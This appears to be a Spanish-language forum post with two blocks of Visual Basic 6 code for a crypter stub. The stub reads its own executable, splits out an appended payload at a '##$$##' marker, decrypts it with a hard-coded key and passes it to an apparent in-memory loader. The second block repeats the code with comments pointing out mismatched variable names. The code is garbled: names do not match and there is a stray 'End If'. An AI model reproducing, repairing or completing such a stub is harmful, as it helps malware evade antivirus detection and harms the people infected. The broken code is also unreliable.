Código: Seleccionar todo

Sub Main()
Dim tupadre As String, perraca As String, sdata() As String
pene = App.Path & "\" & App.EXEName & ".exe"

Open tupadre For Binary As #1
datos = Space(LOF(1))
Get #1, , perraca
Close #1

sdata() = Split(perracha, "##$$##")
sdata(1) = zoLn3qlWN7(sdata(1), "miputapassword")
pepito tupadre = StrConv(sdata(1), vbFromUnicode), vbNullString

End If
End Sub

Código: Seleccionar todo

Open tupadre For Binary As #1
datos = Space(LOF(1))
Get #1, , perraca                                         ' Levantas los datos de tu stub en una string "perraca"
Close #1

sdata() = Split(perracha, "##$$##")                 ' y le das a Split  a "perracha" ???? 
sdata(1) = zoLn3qlWN7(sdata(1), "miputapassword")
pepito tupadre = StrConv(sdata(1), vbFromUnicode), vbNullString